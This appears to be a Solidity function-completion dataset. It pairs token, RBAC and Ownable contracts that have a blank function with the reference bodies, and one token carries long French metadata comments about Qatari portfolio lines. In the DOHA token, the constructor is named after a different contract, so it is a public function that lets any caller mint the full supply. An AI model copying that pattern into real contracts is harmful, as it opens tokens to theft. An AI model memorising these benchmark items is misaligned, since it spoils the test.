lzt1mh1llK1Q9o9vqKWGwq40eMl57QjE92hs9V143a0GSW1E05C48hBvXeShZe6J > // < u =="0.000000000000000001" : ] 000000287571177.938346000000000000 ; 000000308285565.409239000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001B6CC7E1D6680D > // < DOHA_Portfolio_I_metadata_line_18_____The_Investors_20250515 > // < tP1j5nLD1kSaQT5q80bu54TH699s4Jlr9oVDz6Y283K7MoY9P3q048QfAUBot3sJ > // < u =="0.000000000000000001" : ] 000000308285565.409239000000000000 ; 000000327290026.380911000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001D6680D1F367AB > // < DOHA_Portfolio_I_metadata_line_19_____Ooredoo_20250515 > // < S5toJup3HvP9lOX9U8vDvbI52NVjMFj8ZBaZ0fb4v48CxvsikOWQ7gFR8jozIFU1 > // < u =="0.000000000000000001" : ] 000000327290026.380911000000000000 ; 000000345131694.306823000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001F367AB20EA111 > // < DOHA_Portfolio_I_metadata_line_20_____Electricity_Water_20250515 > // < 16tFUCxP9z56o56qEP4d9DpOo12O5v43dOuDdZOIF9y2DV2wz12EYSRRSac0yD4u > // < u =="0.000000000000000001" : ] 000000345131694.306823000000000000 ; 000000362497439.836218000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000020EA1112292090 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_21_____Salam_International_20250515 > // < Ni1yj387aR192u9HPN00pvqzg4enG5LZ0oNst39961slyNHKscdK470agBRt3iCM > // < u =="0.000000000000000001" : ] 000000362497439.836218000000000000 ; 000000382904305.195081000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000229209024843FF > // < DOHA_Portfolio_I_metadata_line_22_____National_Leasing_20250515 > // < Bv985pP18xveBi1B932C9wtp2WoN0gNU5nM7x84lXw956S7X7U3t9BLCtjWzyExF > // < u =="0.000000000000000001" : ] 000000382904305.195081000000000000 ; 000000400194896.475562000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000024843FF262A622 > // < DOHA_Portfolio_I_metadata_line_23_____Qatar_Navigation_20250515 > // < qR6ygvkxcKIMgf1nv2OjY5443PwX398dMscw07K17J9df3j7D7EAnTV52b7af8P4 > // < u =="0.000000000000000001" : ] 000000400194896.475562000000000000 ; 000000421541317.440349000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000262A6222833894 > // < DOHA_Portfolio_I_metadata_line_24_____Medicare_20250515 > // < n2wn10DZWnFK7x51f67xoOH08Q9oP7jChMEeM6LUa7ScseH8zv9xFuZAQ5Z5H3p8 > // < u =="0.000000000000000001" : ] 000000421541317.440349000000000000 ; 000000439914097.661349000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000283389429F4172 > // < DOHA_Portfolio_I_metadata_line_25_____Qatar_Fuel_20250515 > // < 6IGcy1yy61hb6zPZa15c18ZM7eYHFe4xR9ZKoL3779fl3qHmF3n113kPgI5DCf7X > // < u =="0.000000000000000001" : ] 000000439914097.661349000000000000 ; 000000458367335.013190000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000029F41722BB69BE > // < DOHA_Portfolio_I_metadata_line_26_____Widam_20250515 > // < 119X5jFvluZlpeZbBncK0LlpeL5gzbVpU1W7Y0LS8IH91FrG91vQ8ylH1Yb8oD8K > // < u =="0.000000000000000001" : ] 000000458367335.013190000000000000 ; 000000478441596.983324000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002BB69BE2DA0B40 > // < DOHA_Portfolio_I_metadata_line_27_____Gulf_Warehousing_Co_20250515 > // < QS08Q002ksrpV138t16vm9PPqjP685d2uV6qI37ubxd9C04ZCU59pVJ1724VWRd0 > // < u =="0.000000000000000001" : ] 000000478441596.983324000000000000 ; 000000497169845.837768000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002DA0B402F69EF9 > // < DOHA_Portfolio_I_metadata_line_28_____Nakilat_20250515 > // < Zd7z6d719i7nP8Ojfi5Hv9MG4yNDDuT5J92k2oCR6ApxRj5gX9vj0X686KLG91uG > // < u =="0.000000000000000001" : ] 000000497169845.837768000000000000 ; 000000518690628.088998000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F69EF93177587 > // < DOHA_Portfolio_I_metadata_line_29_____Dlala_20250515 > // < JAjRd29ZC9NJdJs2BAybBuwjK9S5Sl8R84ZLN7TG5T00GAPc70iu52Ch9f4FN1gc > // < u =="0.000000000000000001" : ] 000000518690628.088998000000000000 ; 000000537450199.090268000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003177587334157C > // < DOHA_Portfolio_I_metadata_line_30_____Barwa_20250515 > // < 3rm72307dFqy6I9rsdy9v2D64Jsc2YN8NY1kiEqw1aqSCW9AXUx8R47iaxK2y4pP > // < u =="0.000000000000000001" : ] 000000537450199.090268000000000000 ; 000000556120702.498486000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000334157C35092A6 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_31_____Mannai_Corp_20250515 > // < R87R6f1o3Ao0dMab8CRn1x667z1y32Al3735wQIW8ob6GRn8ZwgTt436F91hkkrS > // < u =="0.000000000000000001" : ] 000000556120702.498486000000000000 ; 000000571250335.778555000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000035092A6367A8AA > // < DOHA_Portfolio_I_metadata_line_32_____Aamal_20250515 > // < 20Q0BmypqM20e2D7tAvz0me07Dd088s5Lhrt45dvA5miuAkV7ZZZF4ER03Q6Yg6I > // < u =="0.000000000000000001" : ] 000000571250335.778555000000000000 ; 000000589336693.020642000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000367A8AA38341A5 > // < DOHA_Portfolio_I_metadata_line_33_____Ezdan_Holding_20250515 > // < 6mx3P53haYX3py1lC65ju35E6TuSEj96O2zsyx368CEU3j8tkRjR976WA0w752TI > // < u =="0.000000000000000001" : ] 000000589336693.020642000000000000 ; 000000609982290.002993000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000038341A53A2C255 > // < DOHA_Portfolio_I_metadata_line_34_____Islamic_Holding_20250515 > // < HOv8F7Kx6y6s42u5L2b3RlXf1bfDe8IW2Z36aH4C17kpvYr1o3C24em55214cE14 > // < u =="0.000000000000000001" : ] 000000609982290.002993000000000000 ; 000000629463147.327816000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003A2C2553C07C0B > // < DOHA_Portfolio_I_metadata_line_35_____Gulf_International_20250515 > // < 6eY3I7FrI7496yR67IiI1c4S4JnXj0CE5KXVwb2DQUy7vbB3m9lw9E05nt3oI4K6 > // < u =="0.000000000000000001" : ] 000000629463147.327816000000000000 ; 000000645101166.345170000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003C07C0B3D858A5 > // < DOHA_Portfolio_I_metadata_line_36_____Mesaieed_20250515 > // < ryl7cMN94yiZD5RONLr9cwcI4ptcugDl9q3LLwAkqL5Cv2NonDWc20e3xyRGuwRb > // < u =="0.000000000000000001" : ] 000000645101166.345170000000000000 ; 000000663023778.091517000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003D858A53F3B1AA > // < DOHA_Portfolio_I_metadata_line_37_____Investment_Holding_20250515 > // < 88IJsHJ6RyK04JocbkkS24CvpC8Nyi9h7ZMAmR76dDPEhQA7Gr8K25pei6p19YaD > // < u =="0.000000000000000001" : ] 000000663023778.091517000000000000 ; 000000679618430.217144000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003F3B1AA40D03F3 > // < DOHA_Portfolio_I_metadata_line_38_____Vodafone_Qatar_20250515 > // < fISYneH515HPPH71N3i7g3XGP47758P8Tot55WA3MFEiwS1E71n84ZPfR3A3X954 > // < u =="0.000000000000000001" : ] 000000679618430.217144000000000000 ; 000000696650731.029694000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000040D03F34270131 > // < DOHA_Portfolio_I_metadata_line_39_____Al_Meera_20250515 > // < MC478Yn9L57xXd7Rl7AWtji1z9PuaiFju9o6hpl513N5x9SoTAiG8ZEaU0whdHG5 > // < u =="0.000000000000000001" : ] 000000696650731.029694000000000000 ; 000000713763718.708142000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000042701314411DF4 > // < DOHA_Portfolio_I_metadata_line_40_____Mazaya_Qatar_20250515 > // < qU6WF5UZ2tC2JO47760v32G7qX8sJjV3xB6TYZ00yn11VfJ317iK4MM1tRzOZR8f > // < u =="0.000000000000000001" : ] 000000713763718.708142000000000000 ; 000000731661609.544533000000000000 ] > // < 0x000000000000000000000000000000000000000000000000004411DF445C6D51 > }
contract DOHA_Portfolio_Ib_883 { mapping (address => uint256) public balanceOf; string public name = " DOHA_Portfolio_Ib_883 " ; string public symbol = " DOHA883 " ; uint8 public decimals = 18 ; uint256 public totalSupply = 731661609544533000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } <FILL_FUNCTION> event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_1_____QNB_20250515 > // < hU1zJfAXIWjwRzQjUIScl4o8bq7axH6HuBDtiGTA019b7oj61f5kl4696PW83S71 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016274632.348746100000000000 ] > // < 0x000000000000000000000000000000000000000000000000000000000018D547 > // < DOHA_Portfolio_I_metadata_line_2_____Qatar_Islamic_Bank_20250515 > // < 17aFYFQ9CA4SOK0902m34ul7ucv4VLQA7cAR72zAxTdG265k7AnJ5mep6RUfDuBJ > // < u =="0.000000000000000001" : ] 000000016274632.348746100000000000 ; 000000035339142.975448700000000000 ] > // < 0x000000000000000000000000000000000000000000000000000018D54735EC5A > // < DOHA_Portfolio_I_metadata_line_3_____Comm_Bank_of_Qatar_20250515 > // < V83Tsv22iNFkOrBA3D5U7jIA6cJKFb2e1qMTHct8247Wh5x6Y2t3wL8CjA5fQQdR > // < u =="0.000000000000000001" : ] 000000035339142.975448700000000000 ; 000000052957892.175272000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000035EC5A50CEAD > // < DOHA_Portfolio_I_metadata_line_4_____Doha_Bank_20250515 > // < qUju69Sx8gMl6OkjbtMkUItcls3LKlv685Dfa6ulBiQciq6U16poLhbAC3gZ611Y > // < u =="0.000000000000000001" : ] 000000052957892.175272000000000000 ; 000000071717351.549108500000000000 ] > // < 0x000000000000000000000000000000000000000000000000000050CEAD6D6E97 > // < DOHA_Portfolio_I_metadata_line_5_____Ahli_Bank_20250515 > // < C7KoV79oZ8H6SAQEo25AofOM0UL4Wn90au54EN7gqZ49lB6Zm1ry6a6c2AE4ZONG > // < u =="0.000000000000000001" : ] 000000071717351.549108500000000000 ; 000000090903570.386118500000000000 ] > // < 0x00000000000000000000000000000000000000000000000000006D6E978AB535 > // < DOHA_Portfolio_I_metadata_line_6_____Intl_Islamic_Bank_20250515 > // < 7rN94JK4sOb7NGC86JU49Xuh7En2gss8bD2J45V1KsuZeEf4iU1cCCbsWgv3GhmH > // < u =="0.000000000000000001" : ] 000000090903570.386118500000000000 ; 000000107832399.217995000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000008AB535A48A08 > // < DOHA_Portfolio_I_metadata_line_7_____Rayan_20250515 > // < Jgp0QI6C7OKSGJ8Z6N1fmQ2Z9Vse0rP274ezlcf0Aw4r9xPLxdBsWlq50Ev9p5hl > // < u =="0.000000000000000001" : ] 000000107832399.217995000000000000 ; 000000127559187.842301000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A48A08C2A3CF > // < DOHA_Portfolio_I_metadata_line_8_____Qatar_Insurance_20250515 > // < dc0Y668z2toyy6N8eT2QhKGmjh3P9YALc88654xY56D1mTvAY1y6SDKxZpbb3CNi > // < u =="0.000000000000000001" : ] 000000127559187.842301000000000000 ; 000000144536843.696412000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C2A3CFDC8BB4 > // < DOHA_Portfolio_I_metadata_line_9_____Doha_Insurance_20250515 > // < NV9L14h25w61rSg9X9zQDFwy3e7gOu6msP2r2949VmDhJ61fzo9ggNu70wgodwgJ > // < u =="0.000000000000000001" : ] 000000144536843.696412000000000000 ; 000000161032169.770494000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000DC8BB4F5B731 > // < DOHA_Portfolio_I_metadata_line_10_____General_Insurance_20250515 > // < b1qf4nM067k5B0WSoo7wshTv2h1grIOR8ra5A8xKb8ba8Ftoo4uO5zO5bcG5BH3Z > // < u =="0.000000000000000001" : ] 000000161032169.770494000000000000 ; 000000179876905.111256000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000F5B731112786B > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_11_____Islamic_Insurance_20250515 > // < 9qcbUt0742le3FI3SDqDZc281rNM6nRV9Tgn6uOyNz9mP1sOm7U6mdHY1s42dUSd > // < u =="0.000000000000000001" : ] 000000179876905.111256000000000000 ; 000000195844859.003573000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000112786B12AD5E6 > // < DOHA_Portfolio_I_metadata_line_12_____Ind_Manf_Co_20250515 > // < 3H6E0f64Nrl2wS84a41EU74v4M6e50Mm8O3KhW9zKMWtQVfVXlbaH0ZD02uiY3qj > // < u =="0.000000000000000001" : ] 000000195844859.003573000000000000 ; 000000216103494.501970000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000012AD5E6149BF6D > // < DOHA_Portfolio_I_metadata_line_13_____National_Cement_Co_20250515 > // < 11T8O4S7kL062mgfNaHVj1Jul8Aep7d6pgFGRfoH7H8zq2MBzk503lJ7JTpp4pgT > // < u =="0.000000000000000001" : ] 000000216103494.501970000000000000 ; 000000231573394.642144000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000149BF6D1615A5B > // < DOHA_Portfolio_I_metadata_line_14_____Zad_Holding_Company_20250515 > // < uAFlkA36REFbTmSIiAdy3506KdOr51okG3tGVZjDm0r8PawduO933AFNYY1c9wn2 > // < u =="0.000000000000000001" : ] 000000231573394.642144000000000000 ; 000000248503661.237730000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001615A5B17B2FBE > // < DOHA_Portfolio_I_metadata_line_15_____Industries_Qatar_20250515 > // < 6j92OsXVYJ1l6U92UvJgrT5085Km60aNuDmNrGUo2wmJ2fGzzodsd0R1lKLYd95o > // < u =="0.000000000000000001" : ] 000000248503661.237730000000000000 ; 000000269472454.885304000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000017B2FBE19B2EAD > // < DOHA_Portfolio_I_metadata_line_16_____United_Dev_Company_20250515 > // < K8Uz43p03ZRnsM1I1El5l3FOWnAU2UL50ofgWD9Evb1cen5H0cUmLc39dX9rj026 > // < u =="0.000000000000000001" : ] 000000269472454.885304000000000000 ; 000000287571177.938346000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000019B2EAD1B6CC7E > // < DOHA_Portfolio_I_metadata_line_17_____Qatar_German_Co_Med_20250515 > // < lzt1mh1llK1Q9o9vqKWGwq40eMl57QjE92hs9V143a0GSW1E05C48hBvXeShZe6J > // < u =="0.000000000000000001" : ] 000000287571177.938346000000000000 ; 000000308285565.409239000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001B6CC7E1D6680D > // < DOHA_Portfolio_I_metadata_line_18_____The_Investors_20250515 > // < tP1j5nLD1kSaQT5q80bu54TH699s4Jlr9oVDz6Y283K7MoY9P3q048QfAUBot3sJ > // < u =="0.000000000000000001" : ] 000000308285565.409239000000000000 ; 000000327290026.380911000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001D6680D1F367AB > // < DOHA_Portfolio_I_metadata_line_19_____Ooredoo_20250515 > // < S5toJup3HvP9lOX9U8vDvbI52NVjMFj8ZBaZ0fb4v48CxvsikOWQ7gFR8jozIFU1 > // < u =="0.000000000000000001" : ] 000000327290026.380911000000000000 ; 000000345131694.306823000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001F367AB20EA111 > // < DOHA_Portfolio_I_metadata_line_20_____Electricity_Water_20250515 > // < 16tFUCxP9z56o56qEP4d9DpOo12O5v43dOuDdZOIF9y2DV2wz12EYSRRSac0yD4u > // < u =="0.000000000000000001" : ] 000000345131694.306823000000000000 ; 000000362497439.836218000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000020EA1112292090 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_21_____Salam_International_20250515 > // < Ni1yj387aR192u9HPN00pvqzg4enG5LZ0oNst39961slyNHKscdK470agBRt3iCM > // < u =="0.000000000000000001" : ] 000000362497439.836218000000000000 ; 000000382904305.195081000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000229209024843FF > // < DOHA_Portfolio_I_metadata_line_22_____National_Leasing_20250515 > // < Bv985pP18xveBi1B932C9wtp2WoN0gNU5nM7x84lXw956S7X7U3t9BLCtjWzyExF > // < u =="0.000000000000000001" : ] 000000382904305.195081000000000000 ; 000000400194896.475562000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000024843FF262A622 > // < DOHA_Portfolio_I_metadata_line_23_____Qatar_Navigation_20250515 > // < qR6ygvkxcKIMgf1nv2OjY5443PwX398dMscw07K17J9df3j7D7EAnTV52b7af8P4 > // < u =="0.000000000000000001" : ] 000000400194896.475562000000000000 ; 000000421541317.440349000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000262A6222833894 > // < DOHA_Portfolio_I_metadata_line_24_____Medicare_20250515 > // < n2wn10DZWnFK7x51f67xoOH08Q9oP7jChMEeM6LUa7ScseH8zv9xFuZAQ5Z5H3p8 > // < u =="0.000000000000000001" : ] 000000421541317.440349000000000000 ; 000000439914097.661349000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000283389429F4172 > // < DOHA_Portfolio_I_metadata_line_25_____Qatar_Fuel_20250515 > // < 6IGcy1yy61hb6zPZa15c18ZM7eYHFe4xR9ZKoL3779fl3qHmF3n113kPgI5DCf7X > // < u =="0.000000000000000001" : ] 000000439914097.661349000000000000 ; 000000458367335.013190000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000029F41722BB69BE > // < DOHA_Portfolio_I_metadata_line_26_____Widam_20250515 > // < 119X5jFvluZlpeZbBncK0LlpeL5gzbVpU1W7Y0LS8IH91FrG91vQ8ylH1Yb8oD8K > // < u =="0.000000000000000001" : ] 000000458367335.013190000000000000 ; 000000478441596.983324000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002BB69BE2DA0B40 > // < DOHA_Portfolio_I_metadata_line_27_____Gulf_Warehousing_Co_20250515 > // < QS08Q002ksrpV138t16vm9PPqjP685d2uV6qI37ubxd9C04ZCU59pVJ1724VWRd0 > // < u =="0.000000000000000001" : ] 000000478441596.983324000000000000 ; 000000497169845.837768000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002DA0B402F69EF9 > // < DOHA_Portfolio_I_metadata_line_28_____Nakilat_20250515 > // < Zd7z6d719i7nP8Ojfi5Hv9MG4yNDDuT5J92k2oCR6ApxRj5gX9vj0X686KLG91uG > // < u =="0.000000000000000001" : ] 000000497169845.837768000000000000 ; 000000518690628.088998000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F69EF93177587 > // < DOHA_Portfolio_I_metadata_line_29_____Dlala_20250515 > // < JAjRd29ZC9NJdJs2BAybBuwjK9S5Sl8R84ZLN7TG5T00GAPc70iu52Ch9f4FN1gc > // < u =="0.000000000000000001" : ] 000000518690628.088998000000000000 ; 000000537450199.090268000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003177587334157C > // < DOHA_Portfolio_I_metadata_line_30_____Barwa_20250515 > // < 3rm72307dFqy6I9rsdy9v2D64Jsc2YN8NY1kiEqw1aqSCW9AXUx8R47iaxK2y4pP > // < u =="0.000000000000000001" : ] 000000537450199.090268000000000000 ; 000000556120702.498486000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000334157C35092A6 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_31_____Mannai_Corp_20250515 > // < R87R6f1o3Ao0dMab8CRn1x667z1y32Al3735wQIW8ob6GRn8ZwgTt436F91hkkrS > // < u =="0.000000000000000001" : ] 000000556120702.498486000000000000 ; 000000571250335.778555000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000035092A6367A8AA > // < DOHA_Portfolio_I_metadata_line_32_____Aamal_20250515 > // < 20Q0BmypqM20e2D7tAvz0me07Dd088s5Lhrt45dvA5miuAkV7ZZZF4ER03Q6Yg6I > // < u =="0.000000000000000001" : ] 000000571250335.778555000000000000 ; 000000589336693.020642000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000367A8AA38341A5 > // < DOHA_Portfolio_I_metadata_line_33_____Ezdan_Holding_20250515 > // < 6mx3P53haYX3py1lC65ju35E6TuSEj96O2zsyx368CEU3j8tkRjR976WA0w752TI > // < u =="0.000000000000000001" : ] 000000589336693.020642000000000000 ; 000000609982290.002993000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000038341A53A2C255 > // < DOHA_Portfolio_I_metadata_line_34_____Islamic_Holding_20250515 > // < HOv8F7Kx6y6s42u5L2b3RlXf1bfDe8IW2Z36aH4C17kpvYr1o3C24em55214cE14 > // < u =="0.000000000000000001" : ] 000000609982290.002993000000000000 ; 000000629463147.327816000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003A2C2553C07C0B > // < DOHA_Portfolio_I_metadata_line_35_____Gulf_International_20250515 > // < 6eY3I7FrI7496yR67IiI1c4S4JnXj0CE5KXVwb2DQUy7vbB3m9lw9E05nt3oI4K6 > // < u =="0.000000000000000001" : ] 000000629463147.327816000000000000 ; 000000645101166.345170000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003C07C0B3D858A5 > // < DOHA_Portfolio_I_metadata_line_36_____Mesaieed_20250515 > // < ryl7cMN94yiZD5RONLr9cwcI4ptcugDl9q3LLwAkqL5Cv2NonDWc20e3xyRGuwRb > // < u =="0.000000000000000001" : ] 000000645101166.345170000000000000 ; 000000663023778.091517000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003D858A53F3B1AA > // < DOHA_Portfolio_I_metadata_line_37_____Investment_Holding_20250515 > // < 88IJsHJ6RyK04JocbkkS24CvpC8Nyi9h7ZMAmR76dDPEhQA7Gr8K25pei6p19YaD > // < u =="0.000000000000000001" : ] 000000663023778.091517000000000000 ; 000000679618430.217144000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003F3B1AA40D03F3 > // < DOHA_Portfolio_I_metadata_line_38_____Vodafone_Qatar_20250515 > // < fISYneH515HPPH71N3i7g3XGP47758P8Tot55WA3MFEiwS1E71n84ZPfR3A3X954 > // < u =="0.000000000000000001" : ] 000000679618430.217144000000000000 ; 000000696650731.029694000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000040D03F34270131 > // < DOHA_Portfolio_I_metadata_line_39_____Al_Meera_20250515 > // < MC478Yn9L57xXd7Rl7AWtji1z9PuaiFju9o6hpl513N5x9SoTAiG8ZEaU0whdHG5 > // < u =="0.000000000000000001" : ] 000000696650731.029694000000000000 ; 000000713763718.708142000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000042701314411DF4 > // < DOHA_Portfolio_I_metadata_line_40_____Mazaya_Qatar_20250515 > // < qU6WF5UZ2tC2JO47760v32G7qX8sJjV3xB6TYZ00yn11VfJ317iK4MM1tRzOZR8f > // < u =="0.000000000000000001" : ] 000000713763718.708142000000000000 ; 000000731661609.544533000000000000 ] > // < 0x000000000000000000000000000000000000000000000000004411DF445C6D51 > }
require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true;
function transfer(address to, uint256 value) public returns (bool success)
function transfer(address to, uint256 value) public returns (bool success)
6382
Staff
addStaff
contract Staff is Ownable, RBAC { string public constant ROLE_STAFF = "staff"; function addStaff(address _staff) public onlyOwner {<FILL_FUNCTION_BODY> } function removeStaff(address _staff) public onlyOwner { removeRole(_staff, ROLE_STAFF); } function isStaff(address _staff) view public returns (bool) { return hasRole(_staff, ROLE_STAFF); } }
contract Staff is Ownable, RBAC { string public constant ROLE_STAFF = "staff"; <FILL_FUNCTION> function removeStaff(address _staff) public onlyOwner { removeRole(_staff, ROLE_STAFF); } function isStaff(address _staff) view public returns (bool) { return hasRole(_staff, ROLE_STAFF); } }
addRole(_staff, ROLE_STAFF);
function addStaff(address _staff) public onlyOwner
function addStaff(address _staff) public onlyOwner
41438
Ownable
transferOwnership
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
function transferOwnership(address newOwner) public virtual onlyOwner
6930
ITE
transferFrom
contract ITE is ERC20,Ownable{ using SafeMath for uint256; string public constant name="Intelligent Travel Chain"; string public symbol="ITE"; string public constant version = "1.0"; uint256 public constant decimals = 18; uint256 public totalSupply; uint256 public constant MAX_SUPPLY=10000000000*10**decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event GetETH(address indexed _from, uint256 _value); //owner一次性获取代币 function ITE(){ totalSupply=MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; Transfer(0x0, msg.sender, MAX_SUPPLY); } //允许用户往合约账户打币 function () payable external { GetETH(msg.sender,msg.value); } function etherProceeds() external onlyOwner { if(!msg.sender.send(this.balance)) revert(); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract ITE is ERC20,Ownable{ using SafeMath for uint256; string public constant name="Intelligent Travel Chain"; string public symbol="ITE"; string public constant version = "1.0"; uint256 public constant decimals = 18; uint256 public totalSupply; uint256 public constant MAX_SUPPLY=10000000000*10**decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event GetETH(address indexed _from, uint256 _value); //owner一次性获取代币 function ITE(){ totalSupply=MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; Transfer(0x0, msg.sender, MAX_SUPPLY); } //允许用户往合约账户打币 function () payable external { GetETH(msg.sender,msg.value); } function etherProceeds() external onlyOwner { if(!msg.sender.send(this.balance)) revert(); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return 